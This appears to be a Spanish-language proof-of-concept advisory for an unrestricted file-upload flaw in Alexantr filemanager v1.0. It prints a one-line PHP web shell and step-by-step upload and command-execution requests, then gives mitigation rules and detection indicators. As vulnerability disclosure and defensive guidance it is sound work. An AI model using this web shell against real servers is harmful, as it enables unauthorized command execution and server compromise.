
Ejecución remota de código en Alexantr filemanager v1.0 mediante carga de archivos sin restricciones
Prueba de concepto para CVE-2026-37637 - Ejecución remota de código en Alexantr filemanager v1.0 mediante la carga de archivos sin restricciones en filemanager.php.
CVE-2026-37637 es una vulnerabilidad de ejecución remota de código que afecta a Alexantr filemanager v1.0.
La vulnerabilidad existe en el componente filemanager.php debido a una validación insuficiente de los archivos cargados. Un atacante remoto puede cargar un archivo PHP malicioso en un directorio accesible desde la web y ejecutar comandos arbitrarios en el servidor.
Estado del CVE: Enviado a MITRE
Investigador: CYBER-SEC Repositorio del proveedor: https://github.com/alexantr/filemanager
| Elemento | Descripción |
|---|
| ID del CVE | CVE-2026-37637 |
| Tipo de vulnerabilidad | Ejecución remota de código |
| Producto afectado | Alexantr filemanager |
| Versión afectada | v1.0 |
| Componente vulnerable | filemanager.php |
| Vector de ataque | Remoto |
| Autenticación requerida | Depende del despliegue/configuración |
| Impacto | Ejecución arbitraria de comandos |
| Causa raíz | Carga de archivos sin restricciones y falta de validación de archivos en el servidor |
Un atacante puede cargar un archivo PHP malicioso a través de la funcionalidad de carga de archivos. Debido a que los archivos cargados se almacenan en una ubicación accesible desde la web y se permite la ejecución de PHP, el atacante puede ejecutar comandos arbitrarios del sistema en el servidor.
Una explotación exitosa puede permitir a un atacante:
La aplicación permite a los usuarios cargar archivos arbitrarios sin validar adecuadamente la extensión del archivo, el tipo MIME o el contenido del archivo.
Se puede cargar un archivo PHP malicioso como el siguiente:
<?php system($_GET['cmd']); ?>
Una vez cargado en un directorio accesible desde la web, el atacante puede ejecutar comandos accediendo al archivo a través del navegador y pasando comandos mediante el parámetro cmd.
Ejemplo:
http://target/uploads/shell.php?cmd=id
Esto resulta en la ejecución de comandos en el sistema operativo subyacente.
git clone https://github.com/alexantr/filemanager
cd filemanager
php -S localhost:8000
Abra la aplicación en un navegador:
http://localhost:8000/filemanager.php
Dependiendo del despliegue o la configuración, la aplicación también puede ser accesible a través de:
http://localhost:8000/pheditor.php
Cree un archivo llamado shell.php:
<?php system($_GET['cmd']); ?>
Cargue el archivo utilizando la funcionalidad de carga de la aplicación.
Después de cargar el archivo, acceda a él directamente desde el navegador:
http://localhost:8000/uploads/shell.php?cmd=id
Si la explotación es exitosa, el servidor ejecutará el comando y devolverá la salida.
Ejemplo de salida:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
<?php system($_GET['cmd']); ?>
GET /uploads/shell.php?cmd=id HTTP/1.1
Host: target
User-Agent: Mozilla/5.0
Connection: close
El comando proporcionado a través del parámetro cmd se ejecuta en el servidor.
La vulnerabilidad es causada por una validación insuficiente en el servidor en la funcionalidad de carga de archivos.
La aplicación no restringe adecuadamente:
Como resultado, los archivos PHP ejecutables pueden cargarse y ejecutarse directamente.
El proveedor y los usuarios deben implementar las siguientes protecciones.
Deshabilitar la carga de tipos de archivos ejecutables como:
.php, .phtml, .php3, .php4, .php5, .phar
Solo permitir tipos de archivo esperados, por ejemplo:
.jpg, .png, .gif, .txt, .pdf
No confiar únicamente en el encabezado Content-Type proporcionado por el cliente.
La validación de archivos debe realizarse en el servidor.
Los archivos cargados no deben ser directamente ejecutables ni accesibles públicamente.
Para Apache, esto se puede hacer con .htaccess:
php_flag engine off
RemoveHandler .php .phtml .php3 .php4 .php5 .phar
RemoveType .php .phtml .php3 .php4 .php5 .phar
Para Nginx, evitar el manejo de PHP en las rutas de carga:
location /uploads/ {
location ~ \.php$ {
deny all;
}
}
Usar nombres de archivo aleatorios generados por el servidor y eliminar las extensiones controladas por el usuario.
Restringir la funcionalidad de carga solo a usuarios de confianza.
Los administradores pueden buscar archivos PHP sospechosos cargados en directorios accesibles desde la web.
Indicadores de ejemplo:
shell.php
cmd.php
upload.php
backdoor.php
archivos .php dentro de directorios de carga
Los patrones de solicitud sospechosos pueden incluir:
?cmd=
?exec=
?shell=
?command=
Ejemplo de entrada de registro:
GET /uploads/shell.php?cmd=id HTTP/1.1
Este repositorio se proporciona únicamente con fines educativos y de seguridad defensiva.
La información y la prueba de concepto están destinadas a ayudar a desarrolladores, administradores de sistemas y profesionales de la seguridad a comprender y remediar la vulnerabilidad.
No utilice esta información para atacar sistemas sin autorización explícita. El acceso no autorizado a sistemas informáticos es ilegal.
El autor no es responsable de ningún uso indebido de la información proporcionada en este repositorio.